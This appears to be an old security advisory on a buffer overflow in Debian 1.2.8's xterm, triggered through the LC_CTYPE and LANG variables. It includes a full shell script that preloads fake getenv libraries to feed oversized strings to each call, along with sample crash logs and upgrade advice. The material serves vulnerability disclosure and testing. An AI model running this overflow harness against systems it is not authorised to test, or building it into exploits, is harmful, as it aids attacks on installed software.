COMMAND

    /usr/X11R6/bin/xterm

SYSTEMS AFFECTED

    Linux Debian 1.2.8 (possibly others)

PROBLEM

    David Luyer posted about another security vulnerability in  xterm.

    Firstly,  the  bug.   What  a  joke.   A  segfault from xterm this
    easily.

    Putting a large string into  in LC_CTYPE or LANG will  cause xterm
    from Debian-1.2.8  (the latest  and supposedly  stable and secure)
    Linux to segfault.

    Finding these was quite easy  - here's a little script  (this will
    run and compile things under  Linux and probably other unicies  as
    long as you  have "sh" and  "gcc"; the TestProgram  currently uses
    the "rc" shell but it's  easy enough for someone to  change) which
    basically lets you overflow an  arbitrary getenv call based on  an
    environment variable.   The test  script ran  it overflowing  each
    getenv call under xterm to find the two mentoined above.

    ----------------------- begin script -----------------------------
	#!/bin/sh
	cat >getenv2.c <<EOF
	extern char **__environ;
	void *stdout;

	char *getenv(register const char *name) {
	  register const int len = strlen(name);
	  register char **ep;
	  static int i;
	  static char *big_string_buf = 0;

	  if(!big_string_buf) {
	    if(!(big_string_buf = (char *)malloc(70000))) {
	      big_string_buf = "mallocfailed";
	      printf("Failed to malloc test string buffer.\n");
	  } else {
	      for(i=0;i<70000/4;i++)
		memcpy(big_string_buf+i*4, "f00l", 4);
	      big_string_buf[70000] = '\0';
	    }
	    for (ep = __environ; *ep != 0; ++ep)
	      if (!strncmp(*ep, "ENV_TEST_VAR=", 13))
		i = atoi(&(*ep)[13]);
	  }
	  printf(">> %s << ", name);
	  if(--i)
	    printf("- countdown %d.\n", i);
	  else
	    printf("- the lucky variable!\n");
	  fflush(stdout);
	  if(i) {
	    for (ep = __environ; *ep != 0; ++ep)
	      if (!strncmp(*ep, name, len) && (*ep)[len] == '=')
		return &(*ep)[len + 1];
	    return 0;
	  } else
	    return big_string_buf;
	}
	EOF
	cat >getenv.c <<EOF2
	extern char **__environ;
	char *getenv(register const char *name) {
	  register const int len = strlen(name);
	  register char **ep;

	  printf(">> %s <<\n", name);
	  for (ep = __environ; *ep != 0; ++ep)
	    if (!strncmp(*ep, name, len) && (*ep)[len] == '=')
	      return &(*ep)[len + 1];
	  return 0;
	}
	EOF2
	cat >Makefile <<EOF3
	all: getenv.so getenv2.so

	getenv.so: getenv.o
		@gcc -shared -Wl,-soname,getenv.so getenv.o -o getenv.so

	getenv2.so: getenv2.o
		@gcc -shared -Wl,-soname,getenv2.so getenv2.o -o getenv2.so

	getenv.o: getenv.c
		@gcc -c -fPIC getenv.c -o getenv.o

	getenv2.o: getenv2.c
		@gcc -c -fPIC getenv2.c -o getenv2.o

	neat:
		@rm -f getenv.c getenv2.c getenv.o getenv2.o Makefile
	EOF3
	make all
	make neat
	cat >TestProgram <<EOF4
	#!/usr/bin/rc
	# Using rc because my copy of it 'segmentation violation' to stdout
	# and my /bin/sh doesn't.  Stock debian rc may perform differently.
	MAX=\$1
	shift
	LD_PRELOAD=()
	for (ENV_TEST_VAR in \`{awk 'BEGIN{for(i=0;i<'\$MAX';i++){print i};exit}'}) {
	  echo Testing \$ENV_TEST_VAR -
	  LD_PRELOAD=./getenv2.so
	  \$*
	}
	##!/bin/sh
	#MAX=\$1
	#shift
	#for ENV_TEST_VAR in \`awk 'BEGIN{for(i=0;i<'\$MAX';i++){print i};exit}'\`
	#do
	#  export LD_PRELOAD=./getenv2.so
	#  export ENV_TEST_VAR
	#  \$*
	#done
	EOF4
	cat >TestXterm << EOF5
	#!/bin/sh
	./TestProgram 60 /usr/X11R6/bin/xterm -exec /bin/false -geometry 1x1+1+1 > log.xterm 2>&1
	EOF5
	cat >testprog.c <<EOF6
	main() {
	  getenv("AWAY");
	  if(strlen((char *)getenv("HOME")) > 50000) {
	    raise(11);
	  }
	}
	EOF6
	gcc testprog.c -o testprog
	./TestProgram 3 ./testprog > log.testprog 2>&1
	rm testprog testprog.c
	echo Executing \"grep -3 segmentation log.testprog\"
	echo ++++++++++
	grep -3 segmentation log.testprog
	echo ++++++++++
	echo Make sure you have X authentification and \$DISPLAY set up and
	echo then run \"TestXterm\" to check for environment variable buffer
	echo overflows in xterm \(they\'ll show up in log.xterm if the above
	echo test worked\).

    What this creates:

    TestProgram - the getenv insecurity checker, usage eg:

    ./TestProgram 60 /usr/X11R6/bin/xterm -exec /bin/false -geometry \ 1x1+1+1 > log.xterm 2>&1

    TestXterm - the above line in a script :)

    getenv.so - LD_PRELOAD to this to list all getenv calls

    getenv2.so - LD_PRELOAD to  this and  ENV_TEST_VAR to  a  variable
		 number to attempt an overflow on that variable number

    log.testprog - the  output  from   the  sample  test  (a   program
		   compiled  to  segfault  easily  to  make sure these
		   scripts work on your system)

    Here's the  proper contents  of log.testprog  if it  all works  on
    your system (ie, if you  have the rc shell installed  and handling
    signals properly - sh doesn't  log signals to stdout or  stderr on
    tested  Debian  system,  but  rc  does.   David's  not sure if the
    Debian default rc manages it tho)

	---
	z# cat log.testprog
	Testing 0 -
	>> MALLOC_CHECK_ << - countdown -1.
	>> AWAY << - countdown -1.
	>> HOME << - countdown -2.
	Testing 1 -
	>> MALLOC_CHECK_ << - the lucky variable!
	>> AWAY << - the lucky variable!
	>> HOME << - countdown -1.
	Testing 2 -
	>> MALLOC_CHECK_ << - countdown 1.
	>> AWAY << - countdown 1.
	>> HOME << - the lucky variable!
	segmentation violation
	z#
	---

    If that's all fine, chances are you can run "./TestXterm" and then
    "grep -3 segmentation log.xterm" to find:

	---
	z# grep -3 segmentation log.xterm
	>> RESOURCE_NAME << - countdown 1.
	>> LC_CTYPE << - the lucky variable!
	>> XLOCALEDIR << - countdown -1.
	segmentation violation
	Testing 27 -
	>> MALLOC_CHECK_ << - countdown 26.
	>> XLOCALEDIR << - countdown 25.
	--
	>> LC_CTYPE << - countdown 1.
	>> LANG << - the lucky variable!
	>> XLOCALEDIR << - countdown -1.
	segmentation violation
	Testing 28 -
	>> MALLOC_CHECK_ << - countdown 27.
	>> XLOCALEDIR << - countdown 26.
	z#
	---

SOLUTION

    Well, let's  see.   This program  is going  to tell  you if you're
    vulnerable  or  not.   If  you  are,  apply new (upgrade, patch or
    whatever) software. If you are not, sleep well.

    This bug is fixed for x86 unices in XFree86 3.2 and for others  in
    X11R6.3. Or  at least  documentation and  developers claim  so. It
    has been tested it on  XFree86 3.2, and it doesn't  segfault xterm
    (while test program, of course, gets its SIGSEGV).